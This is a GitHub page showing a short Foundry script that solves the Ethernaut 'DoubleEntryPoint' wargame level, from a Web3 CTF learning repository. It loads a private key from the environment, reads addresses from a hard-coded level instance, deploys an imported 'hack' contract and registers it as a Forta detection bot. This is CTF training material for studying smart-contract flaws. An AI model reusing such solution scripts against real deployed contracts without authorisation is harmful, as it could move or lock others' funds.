forked from DeFiHackLabs/Web3-CTF-Intensive-CoLearning
-
Notifications
You must be signed in to change notification settings - Fork 0
/
double_entry_point_hack.s.sol
23 lines (18 loc) · 972 Bytes
/
double_entry_point_hack.s.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {DoubleEntryPointHack} from "ethernaut/double_entry_point_hack.sol";
import {IDoubleEntryPoint} from "ethernaut/double_entry_point_hack.sol";
import {IForta} from "ethernaut/double_entry_point_hack.sol";
contract DoubleEntryPointHackScript is Script {
function run() external {
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
address target = address(0x0F7d8096BE386Df26b0375e651dB0EE237085918);
address cryptoVault = IDoubleEntryPoint(target).cryptoVault();
DoubleEntryPointHack doubleEntryPointHack = new DoubleEntryPointHack(cryptoVault);
address forta = address(IDoubleEntryPoint(target).forta());
IForta(forta).setDetectionBot(address(doubleEntryPointHack)); // Let setDetectionBot() to trigger delegateTransfer(), then we can call raiseAlert(user);
vm.stopBroadcast();
}
}